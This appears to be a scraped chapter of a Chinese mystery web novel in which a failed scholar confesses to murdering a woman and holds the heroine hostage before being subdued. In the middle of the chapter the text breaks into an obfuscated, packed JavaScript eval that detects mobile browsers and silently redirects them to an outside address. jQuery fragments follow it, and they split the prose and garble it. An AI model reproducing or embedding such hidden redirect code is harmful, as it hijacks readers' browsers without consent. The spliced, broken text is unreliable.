6. 名留青史

作品:《天机误我:嗐火葬场是迟早的事

    “唔……”谈黛醒来时已置身于一座山洞之中,她头痛欲裂,背靠着粗粝的石壁坐在地上,双手被反绑在身后。不远处火堆噼啪作响,勉强维持着光亮。


    下手真狠呐。


    她动动指尖,摸索了一下捆她的绳结。


    太简单了,这样的结她眨眼功夫就能解开。


    “你醒了。”一道冰冷男声从右前方的阴影里传来。


    她嗤笑了一下,“请现身吧,卢先生。”


    阴影里那人沉默片刻,缓缓走到谈黛身前,正是卢秀才!只见他仍是一身青布直裰,脸色铁青,双手捧着个破旧的木箱。


    “你假扮那劳什子娘娘我都看到了,为什么?为什么要诬她名节?!”卢秀才目眦欲裂地质问。


    谈黛换了个舒服点的姿势,迎向对方灼人的目光,故作无辜道:“我如何诬她名节了?”


    卢秀才怔住了,好像在为她都到这份上了还在无耻狡辩而诧异,“她分明是穿戴整齐走的,根本没有赤脚!”


    “是么,”谈黛冷冷地笑了,“衙门可从未公布林芸儿的死状,卢先生,您是怎么知道的呢?”


    火光忽地一跳,映出卢秀才阴沉得能滴出水的脸。他死死盯着谈黛,随后竟发出一连串状若癫狂的大笑。他笑了好一会,直到连手里的箱子都拿不稳,不得不弯下腰放在地上。


    “没错,是我杀了她。”他仰起头,眼底泛红,嘴角却仍挂着那抹癫狂的笑。


    谈黛早在来云江的第一天就知道真相。天机阁水镜可照万物过往影像,却听不到声音,林芸儿遇害时的场景于她形同透明。此时面对凶手,她终于喑哑着声音问出了那个问题:“为什么要杀她?”


    “为什么?”卢秀才的笑声戛然而止,眼神也变得极冷。


    他打开了那只木箱。箱子里面居然整整齐齐地摆放着一堆女子的贴身衣物,衣物上方则是一只木簪同一本《圣训》。那木簪极其光滑,想来是经常被人摩挲把玩。同样的,那本《圣训》亦是边缘毛糙,一看就曾被人翻了许多遍。


    卢秀才苍白的手抚上书封,神情忽然变得柔和,嘴角无意识浮起一丝笑意,像是沉醉在某段回忆中。


    “我自幼丧父,家境贫寒,却偏偏很会读书。学里的先生讲起圣人之道别的孩子都听不懂,只有我懂。我娘不识字,却卖屋卖地守着贞洁供我念书。村里其他小孩粗鄙顽劣,污浊不堪,欺我文弱,可我不和他们计较。只有芸儿不同,她喜欢听我给她讲《圣训》,她是那么的纯粹、干净……可是在嫁给朱明远那个畜生之后,她就变了。”


    说到这里,卢秀才流露出一种极为愤恨的神色,“特别是接手了那家该死的客栈后,她变得市侩、虚伪、圆滑,再没有过去单纯的样子。过去她总亲近地叫我卢哥哥,可是在我考取功名后,她只会奉承地叫我卢相公!”


    “所以,你恨她。”谈黛很认真地听他倾诉。


    “对!”卢秀才的面目再次变得扭曲,“我不光恨她,还恨朱明远、她的父亲,还有……我自己。如果不是我久试不第,她怎么会嫁给姓朱的!我恨自己的无能,也恨那些能考中举人、进士的人!明明我比他们更信奉圣贤之道,比他们更遵循礼法,凭什么能考上的却是他们!”


    谈黛轻轻叹了口气。


    “朱明远好不容易死了,我劝她放弃她那个破客栈,做回过去的林芸儿,可她居然拒绝了我!你知道吗,她过去可是对我言听计从的!那个时候我才明白,”他用力地挥了一下手,“我们再也回不去了。”


    “所以,你勒死了她,再伪装成自缢的样子?”谈黛气血上涌。


    卢秀才露出一个阴诡的笑容,一点点地俯下身靠近谈黛,刻意压低了声线:“你说得对。在观朝,寻常女人上不了史书,只有为丈夫殉死的节妇才能被记入县志。我深爱过去的她,又憎恶现在的她,所以我要用我的方式,让她永远以曾经最干净的样子,名、留、青、史。”


    这个人已经疯魔了,可林芸儿又何其无辜?愤怒之余,谈黛感到深深的悲哀。


    “你可知近来云江的粮价几何?”她强压怒火,尽量平静地问道。


    “什么?”卢秀才觉得莫名其妙,“这种鸡毛蒜皮的小事自有妇人操持,我怎么知道!”


    谈黛没有理会他的发作,“近来朝廷重施禁海令,云江商路不畅,粮价翻了近一番,你的母亲四天前才把她的几件旧衣服拿去当了,日日纺线到深夜,看样子,她并没有同你说。”


    卢秀才神色微变,“那又如何!”


    “或许在你看来,这些都不值一提,但支撑起整个观朝的不仅仅是你所谓的圣贤之道,更是这千千万万的小事、无数微若蝼蚁的小人物,一如你的母亲,亦如,”她的目光突然变得锐利起来,“费心过活却被你无端杀死的,林芸儿。”


    卢秀才愣了片刻,随后大笑了起来,笑得眼泪都抑制不住地流出来,“人都死了,现在说这些还有什么用!”


    他颤抖着手捏起谈黛的下巴,“知道我为什么要抓你来吗?”


    谈黛侧过脸甩开他的手,讽刺地笑了,“那你知道我为什么要被你抓来吗?”


    卢秀才只当她嘴硬,继续道:“自我起意杀她后就没打算独活,不过,在下去陪她之前,我要先杀了路舒这个狗官!哼!什么狗屁户部侍郎,下乡公干还要带着女人,就是个衣冠禽兽!我看得出来他很在意你,所以来这里之前,我给他传了信,叫他一个人来救你。”


    路舒很在意她么?这倒也未必。这位大人心思深,真情流露或是故作姿态令人捉摸不透。


    谈黛这样想着,开口却是与卢秀才针锋相对,“路大人十九岁中进士,一路扶摇直上,整个云江无出其二,你在嫉妒他。”


    “哈,”卢秀才嗤笑一声,“随便你怎么说,反正,我要拉他下地狱!”


    *


    朱明禄还没来得及烧那鞋,便被赵捕快擒拿在地。另一边周捕快亦不费吹灰之力地控制住了林父。


    “你们到底是谁杀了林芸儿?”赵捕快感觉脑子要烧了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458837|169649||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“是我害死了她。”


    “是我害的她。”


    赵捕快和周捕快:“……”


    “怎么办?”周捕快问。


    “都带回去,交给路大人定夺。”赵捕快拉起了摊在地上的朱明禄。


    “好。”周捕快道,“谈姑娘还真是神了,她不光料到今晚凶手会来河口烧鞋,还让我们看到人后多等一会儿,难道为的就是这一出?”


    赵捕快皱皱眉,“不该我们管的事还是少管为妙。”


    *


    卢秀才话音刚落,路舒便快步走进山洞。他衣衫有些凌乱,大概是匆忙赶路时被山野间的枝蔓刮到了不少次。


    下一瞬,卢秀才将一把菜刀架上谈黛的脖颈。那刀上有着好大一股鱼腥味,大概是才被卢母用来刮过鱼鳞。


    谈黛心道:难怪说秀才造反,三年不成。瞧瞧人家这凶器。


    “路大人,”卢秀才得意地扬起头阴阳怪气,“都说英雄难过美人关,路大人虽然算不上什么英雄,却还挺怜香惜玉。”


    谈黛无奈地朝路舒一笑。


    路舒没理他,他的注意力都在谈黛身上,见她没受什么伤,才说道:“放了她,有什么条件你同我提。”


    “我要你做什么你都会去做?”


    路舒沉默了。


    谈黛静静地看着他,她也很好奇,路舒能为她这个“朋友”做到什么地步。


    “你说。”他一步步地逼近,在一丈左右的地方停住了脚步。


    卢秀才眼中闪过一丝狠辣,“不如这样,你为她断一只手,我就放了她。”


    这也太过分了。谈黛心想。


    岂料,路舒竟毫不犹豫地从袖中拔出一柄短刃,“你最好说话算话。”


    夭寿了!谈黛手指连忙勾上腕上的绳结。


    卢秀才显然也没料到他来真的,一时不知所措。


    电光火石之间,谈黛已摆脱了束缚,趁他不备,她一矮身子躲过他的刀刃,同时猛地抬肘撞上他的肋骨。


    卢秀才痛呼还卡在喉咙里,路舒便好似事先同谈黛商量好了似的箭步上前,一个刀柄将他敲晕。


    卢秀才这场精心策划的绑架戏码就这样草草落幕了。


    “没事吧。”路舒拉过她的手腕细细查看。


    谈黛笑笑,“他大概连鸡都没捆过,捆人捆得松,没事。”


    说着,她轻轻将手抽了出来。


    路舒略微有些尴尬,“抱歉,他是冲我来的,连累了你。”


    “无妨,我早些年没少经历过这些个,早就习惯了。”谈黛安慰他道。


    路舒无言。谈黛又问:“卢秀才的话路大人听到了多少?”


    “全部。”


    这倒是省得再审一遍了,挺好。


    路舒扶着她起身,“走吧,带他回去,林芸儿的魂魄大概也能安歇了。”


    “路大人,”谈黛叫住了他,故意摆出一副不经意的样子,玩笑似的问道,“我若不能挣脱,路大人真的会为了我断一只手吗?”